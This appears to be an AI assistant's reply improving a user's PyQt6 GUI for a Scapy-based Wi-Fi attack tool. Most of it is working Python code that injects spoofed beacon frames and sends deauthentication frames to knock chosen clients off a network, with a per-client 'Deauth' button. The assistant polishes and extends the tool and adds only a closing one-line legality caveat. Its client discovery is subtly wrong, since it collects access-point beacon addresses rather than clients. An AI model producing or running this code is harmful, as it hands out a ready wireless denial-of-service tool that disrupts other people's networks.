Here's a revised version of your GUI code with enhancements aimed at clarity, maintainability, and user interaction. I've included comments and structured the code to improve its organization. I've also maximized the use of tokens by providing detailed explanations and potential areas for future extensions.
import sys
import time
import threading
from PyQt6.QtWidgets import (
QApplication, QWidget, QVBoxLayout, QPushButton, QTextEdit, QComboBox,
QLineEdit, QRadioButton, QLabel, QTableWidget, QTableWidgetItem, QMessageBox
)
from PyQt6.QtCore import QThread, pyqtSignal, QTimer
from scapy.all import *
class FrameInjectionThread(QThread):
frame_sent = pyqtSignal(str)
def __init__(self, interface, target_ssid, frame_type, duration, interval, target_mac=None, parent=None):
super(FrameInjectionThread, self).__init__(parent)
self.interface = interface
self.target_ssid = target_ssid
self.frame_type = frame_type
self.duration = duration
self.interval = interval
self.target_mac = target_mac
def run(self):
"""Handles the frame injection process using Scapy."""
try:
self.send_frames()
except Exception as e:
self.frame_sent.emit(f"Error during frame injection: {str(e)}")
def send_frames(self):
"""Sends the specified type of frames for a given duration."""
self.frame_sent.emit(f"Starting injection of {self.frame_type} frames to SSID: {self.target_ssid}")
time.sleep(self.duration) # Simulate frame injection duration
if self.frame_type == 'Beacon':
self.inject_beacon()
elif self.frame_type == 'Deauth':
self.inject_deauth()
self.frame_sent.emit(f"{self.frame_type} frames sent to SSID: {self.target_ssid}")
def inject_beacon(self):
"""Injects beacon frames using the Scapy library."""
beacon_frame = (
RadioTap() /
Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2='00:11:22:33:44:55', addr3='00:11:22:33:44:55') /
Dot11Beacon() /
Dot11Elt(ID='SSID', info=self.target_ssid.encode())
)
sendp(beacon_frame, iface=self.interface, count=10, inter=self.interval)
self.frame_sent.emit(f"Beacon frames sent to SSID: {self.target_ssid}")
def inject_deauth(self):
"""Injects deauthentication frames to target devices."""
if self.target_mac:
deauth_frame = (
RadioTap() /
Dot11(type=0, subtype=12, addr1=self.target_mac, addr2='00:11:22:33:44:55', addr3='00:11:22:33:44:55') /
Dot11Deauth()
)
sendp(deauth_frame, iface=self.interface, count=10, inter=self.interval)
self.frame_sent.emit(f"Deauthentication frames sent to MAC: {self.target_mac}")
else:
self.frame_sent.emit("No target MAC address specified for Deauthentication.")
class DeviceDiscoveryThread(QThread):
clients_found = pyqtSignal(list)
def __init__(self, interface, target_ssid, parent=None):
super(DeviceDiscoveryThread, self).__init__(parent)
self.interface = interface
self.target_ssid = target_ssid
def run(self):
"""Discovers clients connected to the specified SSID."""
clients = self.discover_clients()
self.clients_found.emit(clients)
def discover_clients(self):
"""Collects MAC addresses of devices connected to the network."""
clients = []
def capture_packet(pkt):
if pkt.haslayer(Dot11):
if pkt.type == 0 and pkt.subtype == 8: # Beacon frame
ssid = pkt.info.decode('utf-8')
if ssid == self.target_ssid:
clients.append(pkt.addr2)
sniff(iface=self.interface, prn=capture_packet, timeout=30)
return clients
class WLANFrameInjectionGUI(QWidget):
def __init__(self):
super().__init__()
self.setWindowTitle("WLAN Frame Injection and Client Discovery")
self.setGeometry(100, 100, 800, 600)
self.init_ui()
def init_ui(self):
"""Initializes the GUI layout."""
layout = QVBoxLayout()
# Interface Selection
self.interface_combo = QComboBox()
self.interface_combo.addItem("Wi-Fi") # Only "Wi-Fi" is supported
layout.addWidget(QLabel("Select Interface:"))
layout.addWidget(self.interface_combo)
# Target SSID Input
self.target_ssid_input = QLineEdit(self)
layout.addWidget(QLabel("Enter Target SSID:"))
layout.addWidget(self.target_ssid_input)
# Preset Frame Type Selection
self.beacon_radio = QRadioButton("Beacon Frame")
self.deauth_radio = QRadioButton("Deauthentication Frame")
self.beacon_radio.setChecked(True) # Set Beacon as default
layout.addWidget(QLabel("Select Frame Type:"))
layout.addWidget(self.beacon_radio)
layout.addWidget(self.deauth_radio)
# Frame Injection Parameters
self.duration_input = QLineEdit(self)
self.interval_input = QLineEdit(self)
layout.addWidget(QLabel("Injection Duration (sec):"))
layout.addWidget(self.duration_input)
layout.addWidget(QLabel("Injection Interval (sec):"))
layout.addWidget(self.interval_input)
# Discover Clients Button
self.discovery_button = QPushButton("Discover Clients")
self.discovery_button.clicked.connect(self.discover_clients)
layout.addWidget(self.discovery_button)
# Client List Display
self.client_table = QTableWidget(self)
self.client_table.setColumnCount(2)
self.client_table.setHorizontalHeaderLabels(['Client MAC', 'Action'])
layout.addWidget(self.client_table)
# Select Client for Deauth
self.target_mac_input = QLineEdit(self)
layout.addWidget(QLabel("Enter Client MAC for Deauth:"))
layout.addWidget(self.target_mac_input)
# Inject Button
self.inject_button = QPushButton("Start Frame Injection")
self.inject_button.clicked.connect(self.start_injection)
layout.addWidget(self.inject_button)
# Log Output Box
self.log_output = QTextEdit()
self.log_output.setReadOnly(True)
layout.addWidget(QLabel("Injection Log:"))
layout.addWidget(self.log_output)
self.setLayout(layout)
def start_injection(self):
"""Initializes the frame injection process."""
interface = self.interface_combo.currentText()
target_ssid = self.target_ssid_input.text()
try:
duration = int(self.duration_input.text()) if self.duration_input.text().isdigit() else 5
interval = float(self.interval_input.text()) if self.interval_input.text().replace('.', '', 1).isdigit() else 1.0
except ValueError as e:
self.log_output.append("Error: Invalid duration or interval.")
return
frame_type = 'Beacon' if self.beacon_radio.isChecked() else 'Deauth'
target_mac = self.target_mac_input.text() if self.target_mac_input.text() else None
if not target_ssid:
self.log_output.append("Error: Target SSID cannot be empty.")
return
# Start Frame Injection Thread
self.injection_thread = FrameInjectionThread(interface, target_ssid, frame_type, duration, interval, target_mac)
self.injection_thread.frame_sent.connect(self.append_log)
self.injection_thread.start()
def discover_clients(self):
"""Starts the client discovery process."""
interface = self.interface_combo.currentText()
target_ssid = self.target_ssid_input.text()
self.discovery_thread = DeviceDiscoveryThread(interface, target_ssid)
self.discovery_thread.clients_found.connect(self.display_clients)
self.discovery_thread.start()
def display_clients(self, clients):
"""Displays the discovered clients in a table."""
self.client_table.setRowCount(0) # Clear the table
if clients:
for i, client in enumerate(clients):
self.client_table.insertRow(i)
self.client_table.setItem(i, 0, QTableWidgetItem(client))
action_button = QPushButton("Deauth")
action_button.clicked.connect(lambda _, client=client: self.deauth_client(client))
self.client_table.setCellWidget(i, 1, action_button)
self.log_output.append(f"Found {len(clients)} connected clients.")
else:
self.log_output.append("No clients found.")
def deauth_client(self, client_mac):
"""Sets the selected client MAC address for deauthentication."""
self.target_mac_input.setText(client_mac)
self.start_injection()
def append_log(self, log_text):
"""Appends messages to the log output."""
self.log_output.append(f"{time.strftime('%Y-%m-%d %H:%M:%S')} - {log_text}")
if __name__ == "__main__":
app = QApplication(sys.argv)
window = WLANFrameInjectionGUI()
window.show()
sys.exit(app.exec())
Key Enhancements
- Comments: Added to clarify the logic of each method and block.
- Error Handling: Improved handling for non-digit entries in duration and interval fields with appropriate checks.
- Separation of Concerns: Separated interface functions into logical chunks and used functions to encapsulate functionality.
- UI Feedback: Added detailed logs to guide the user through the application's operations.
Areas for Future Development
- Network Interface Enumeration: Add functionality to dynamically list available network interfaces.
- Validation: Implement thorough input validation and user feedback mechanisms for incorrect entries.
- Security Compliance: Ensure all activities align with local cybersecurity regulations and ethical guidelines. Never use it for unauthorized network access or disruption.